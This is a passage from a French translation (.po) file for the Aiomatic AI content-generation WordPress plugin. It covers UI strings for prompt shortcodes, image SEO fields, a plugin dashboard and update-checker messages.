%%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également " "supportés (shortcodes générés par des règles provenant d'autres plugins). " "Vous pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:857 res/aiomatic-youtube-list.php:3152 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%current_section%%, %%paragraphs_per_section%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour le contenu de l'article, qui s'appliquera à chaque " "titre de section généré par le plugin (ou saisi manuellement) ou à " "l'ensemble du contenu (en fonction de la sélection effectuée à l'aide de la " "case à cocher \"Utiliser le Prompt de contenu ci-dessus pour créer " "l'ensemble de l'article\"). Vous pouvez utiliser les shortcodes suivants : " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%section_actuelle%%, %%paragraphes_par_section%%, %%phrase_aléatoire%%, " "%%phrase_aléatoire2%%, %%titre_du_blog%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Custom Shortcode Creator\" à " "partir des paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:910 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour les questions et réponses de l'article. Vous pouvez " "utiliser les shortcodes suivants : %%langue%%, %%style_d'écriture%%, " "%%ton_d'écriture%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-youtube-list.php:948 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour la fin de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également " "supportés (shortcodes générés par des règles provenant d'autres plugins). " "Vous pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:986 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:1509 res/aiomatic-youtube-list.php:3780 msgid "YouTube Video Thumbnail" msgstr "Vignette de la vidéo YouTube" #: res/aiomatic-youtube-list.php:1616 res/aiomatic-youtube-list.php:3887 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %" "%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-youtube-list.php:1631 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %" "%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-youtube-list.php:2739 msgid "Video Caption Preferred Languages" msgstr "Sous-titrage vidéo Langues préférées" #: res/aiomatic-youtube-list.php:2750 msgid "Video Caption Maximum Character Length In Prompts" msgstr "Longueur maximale des caractères des légendes vidéo dans les Prompts" #: res/aiomatic-youtube-list.php:2763 msgid "Use AI Generated Post Titles" msgstr "Utilisez des titres d'articles générés par l'IA" #: res/aiomatic-youtube-list.php:2927 msgid "Add The YouTube Video To The Article" msgstr "Ajouter la vidéo YouTube à l'article" #: res/aiomatic-youtube-list.php:3050 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonctionnalité \"Custom " "Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-youtube-list.php:3084 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article intro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - pour désactiver l'intro de l'article, laissez cette invite " "vide - Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu. Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction \"Custom Shortcode Creator\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:3118 #, php-format msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour les sections d'articles. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également " "supportés (shortcodes générés par des règles provenant d'autres plugins). " "Vous pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:3204 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour le message Q&R. Vous pouvez utiliser les shortcodes " "suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite " "vide - Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-youtube-list.php:3238 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour la fin du message. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite " "vide - Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:3272 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:3897 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %" "%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/image-seo/aiomatic-image-seo.php:12 msgid "AI Generated SEO Fields" msgstr "Champs SEO générés par l'IA" #: res/image-seo/seo-panel.php:10 msgid "Close panel" msgstr "Choisir un panel" #: res/image-seo/seo-panel.php:15 msgid "Aiomatic - AI Generated SEO Fields" msgstr "Aiomatic - Champs SEO générés par l'IA" #: res/image-seo/seo-panel.php:28 msgid "AI Content Creator Settings:" msgstr "Paramètres du créateur de contenu AI :" #: res/image-seo/seo-panel.php:30 msgid "AI Writer Target" msgstr "Cible des rédacteurs d'IA" #: res/image-seo/seo-panel.php:32 msgid "Caption Text" msgstr "Texte de la légende" #: res/image-seo/seo-panel.php:33 msgid "Alt Text" msgstr "Texte alternatif" #: res/image-seo/seo-panel.php:34 msgid "Description Text" msgstr "Texte de description" #: res/image-seo/seo-panel.php:35 msgid "Title Text" msgstr "Texte du titre" #: res/image-seo/seo-panel.php:39 msgid "AI Prompt" msgstr "Prompt de l'IA" #: res/image-seo/seo-panel.php:40 #, php-format msgid "" "Hint: you can use the following shortcodes in this settings field: " "%%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, " "%%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, " "%%random_sentence%%, %%random_sentence2%% + nested shortcodes also supported." msgstr "" "Conseil : vous pouvez utiliser les shortcodes suivants dans ce champ de " "configuration : %%image_title%%, %%image_caption%%, %%image_alt%%, " "%%image_description%%, %%parent_title%%, %%parent_excerpt%%, " "%%parent_content%%, %%blog_title%%, %%random_sentence%%, " "%%random_sentence2%% + les shortcodes imbriqués sont également pris en " "charge." #: res/image-seo/seo-panel.php:59 msgid "Generate Text" msgstr "Générer du texte" #: res/image-seo/seo-panel.php:63 msgid "The media attachment ID was not passed correctly, please try again." msgstr "" "L'identifiant des medias n'a pas été transmis correctement, veuillez " "réessayer." #: res/image-seo/seo-panel.php:69 msgid "The media attachment ID was not parsed correctly, please try again." msgstr "" "L'identifiant des medias n'a pas été analysé correctement, veuillez " "réessayer." #: res/image-seo/seo-panel.php:80 msgid "Attachment SEO Attributes:" msgstr "Attributs SEO de l'attachement :" #: res/image-seo/seo-panel.php:86 msgid "Alternative Text" msgstr "Texte Alternatif" #: res/image-seo/seo-panel.php:94 msgid "Learn how to describe the purpose of the image" msgstr "Apprendre à décrire l'objectif de l'image" #: res/image-seo/seo-panel.php:94 msgid "Leave empty if the image is purely decorative." msgstr "Laisser vide si l’image est purement décorative." #: res/image-seo/seo-panel.php:99 msgid "(opens in a new tab)" msgstr "(ouvre dans un nouvel onglet)" #: res/image-seo/seo-panel.php:106 msgid "Caption" msgstr "Légende" #: res/image-seo/seo-panel.php:112 msgid "Displayed on attachment pages." msgstr "Affichés sur les pages de la pièce jointe." #: res/image-seo/seo-panel.php:123 msgid "The media attachment ID was not found in the database: " msgstr "L'identifiant des medias n'a pas été trouvé dans la base de données : " #: res/image-seo/seo-panel.php:135 msgid "" "Here you will be able to automatically generate, using AI, the SEO meta " "fields for this image." msgstr "" "Ici, vous pourrez générer automatiquement, à l'aide de l'IA, les champs méta " "SEO pour cette image." #: res/image-seo/seo-panel.php:145 msgid "Preview image:" msgstr "Aperçu de l’image :" #: res/image-seo/seo-panel.php:151 msgid "Current thumbnail" msgstr "Vignette actuelle" #: res/other/plugin-dash.php:14 msgid "Recommended Plugins For You" msgstr "Plugins recommandés pour vous" #: res/other/plugin-dash.php:43 res/other/plugin-dash.php:141 msgid "Error getting content: " msgstr "Erreur lors de l’obtention du contenu : " #: res/other/plugin-dash.php:50 res/other/plugin-dash.php:148 msgid "Apparently, there are no updates to show!" msgstr "Apparemment, il n'y a pas de mise à jour à montrer !" #: res/other/plugin-dash.php:66 res/other/plugin-dash.php:164 msgid "Learn more" msgstr "En savoir plus" #: res/other/plugin-dash.php:83 msgid "FAQ" msgstr "FAQ" #: res/other/plugin-dash.php:83 msgid "View More" msgstr "Voir plus" #: res/other/plugin-dash.php:83 res/other/plugin-dash.php:181 msgid "Don't show this widget" msgstr "Ne pas afficher ce widget" #: res/other/plugin-dash.php:111 msgid "Latest News" msgstr "Dernières actualités" #: res/other/plugin-dash.php:181 msgid "+ More" msgstr "+ Plus" #: res/other/plugin-dash.php:220 msgid "Highlighted" msgstr "Mis en évidence" #: res/other/plugin-dash.php:226 msgid "A selection of plugins, highlighted for you." msgstr "Une sélection de plugins, mis en avant pour vous." #: res/other/plugin-dash.php:413 msgid "Download Now" msgstr "Télécharger maintenant" #: res/other/plugin-dash.php:414 msgid "More information about" msgstr "Plus d'informations sur" #: res/other/plugin-dash.php:414 msgid "More Details" msgstr "Plus de détails" #: res/other/plugin-dash.php:447 res/other/plugin-dash.php:468 msgid "Click here to get the plugin" msgstr "Cliquez ici pour obtenir le plugin" #: res/other/plugin-dash.php:448 msgid "Download the plugin here" msgstr "Téléchargez le plugin ici" #: res/other/plugin-dash.php:467 msgid "" "Just download the plugin from CodeCanyon and install it to your site in a " "few seconds." msgstr "" "Téléchargez simplement le plugin de CodeCanyon et installez-le sur votre " "site en quelques secondes." #: update-checker/Puc/v4/Plugin/UpdateChecker.php:363 #: update-checker/Puc/v4p8/Plugin/Ui.php:128 msgid "Check for updates" msgstr "Vérifier les mises à jour" #: update-checker/Puc/v4/Plugin/UpdateChecker.php:409 msgid "This plugin is up to date." msgstr "Ce plugin est à jour." #: update-checker/Puc/v4/Plugin/UpdateChecker.php:411 msgid "A new version of this plugin is available." msgstr "Une nouvelle version de cette extension est disponible." #: update-checker/Puc/v4/Plugin/UpdateChecker.php:413 #: update-checker/Puc/v4p8/Plugin/Ui.php:223 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Mise à jour inconnue statut \"%s\"" #: update-checker/Puc/v4/Vcs/PluginUpdateChecker.php:83 #: update-checker/Puc/v4p8/Vcs/PluginUpdateChecker.php:98 msgid "There is no changelog available." msgstr "Aucun registre de modifications disponible." #: update-checker/Puc/v4p8/Plugin/Ui.php:54 msgid "View details" msgstr "Voir les détails" #: update-checker/Puc/v4p8/Plugin/Ui.php:77 #, php-format msgid "More information about %s" msgstr "Plus d’informations sur %s" #: update-checker/Puc/v4p8/Plugin/Ui.php:213 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Le plugin %s est à jour." #: update-checker/Puc/v4p8/Plugin/Ui.php:215 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Une nouvelle version de l'extension %s est disponible." #: update-checker/Puc/v4p8/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Impossible de déterminer si des mises à jour sont disponibles pour %s." #. Plugin URI of the plugin/theme msgid "//1.envato.market/aiomatic" msgstr "//1.envato.market/aiomatic" #. Description of the plugin/theme msgid "This plugin will generate content for you, even in your sleep using AI" msgstr "" "Ce plugin générera du contenu pour vous, même dans votre sommeil en " "utilisant l’IA" #. Author of the plugin/theme msgid "CodeRevolution" msgstr "CodeRevolution" #. Author URI of the plugin/theme msgid "//coderevolution.ro" msgstr "//coderevolution.ro" #, php-format #~ msgid "" #~ "Extract a comma separated list of relevant English keywords from the " #~ "text: '%%post_title%%'." #~ msgstr "" #~ "Extraire du texte une liste de mots-clés anglais pertinents séparés par " #~ "des virgules : '%%post_title%%'." #~ msgid "Chatbot Customization" #~ msgstr "Personnalisation du chatbot" #~ msgid "OpenAI" #~ msgstr "OpenAI" #~ msgid "" #~ "Add your deployments from Azure, in this format: DeploymentName1 => " #~ "DeploymenetModel1; DeplayName2 => DeploymentModel2. Example: ChatGPT => " #~ "gpt-35-turbo; DaVinci => text-davinci-003" #~ msgstr "" #~ "Ajoutez vos déploiements à partir d'Azure, dans ce format : " #~ "DeploymentName1 => DeploymenetModel1 ; DeplayName2 => DeploymentModel2. " #~ "Exemple : ChatGPT => gpt-35-turbo ; DaVinci => text-davinci-003" #~ msgid "Azure OpenAI Deployments:" #~ msgstr "Déploiements Azure OpenAI :" #~ msgid "Supported Models by Azure OpenAI API Are:" #~ msgstr "" #~ "Les modèles pris en charge par l'API Azure OpenAI sont les suivants :" #~ msgid "Azure Deployments" #~ msgstr "Déploiements Azure" #~ msgid "Manual Content Editing Settings" #~ msgstr "Paramètres d'édition manuelle du contenu" #~ msgid "Post Internal Linking Options:" #~ msgstr "Options de liens internes pour les postes :" #~ msgid "Automatically Add Internal Links:" #~ msgstr "Ajouter automatiquement des liens internes :" #~ msgid "OpenAPI Settings:" #~ msgstr "Paramètres OpenAPI :" #~ msgid "AiomaticAPI" #~ msgstr "AiomaticAPI" #~ msgid "Chatbot Tutorial" #~ msgstr "Tutoriel Chatbot" #~ msgid "Web Server:" #~ msgstr "Serveur Web :" #~ msgid "for tutorial videos and other helpful resources. You can find also a" #~ msgstr "" #~ "pour obtenir des vidéos tutorielles et d'autres ressources utiles. Vous " #~ "trouverez également une" #~ msgid "YouTube video playlist, dedicated to the Aiomatic plugin" #~ msgstr "Playlist vidéo YouTube, dédiée au plugin Aiomatic" #~ msgid "Post Creation Mode Selector" #~ msgstr "Sélecteur de mode de création des messages" #~ msgid "" #~ "Select the posting mode for automatically generated posts. For longer " #~ "articles it is recommended to use Topic Based Posting mode." #~ msgstr "" #~ "Sélectionnez le mode de publication pour les articles générés " #~ "automatiquement. Pour les articles plus longs, il est recommandé " #~ "d'utiliser le mode de publication par thème." #~ msgid "Post Creation 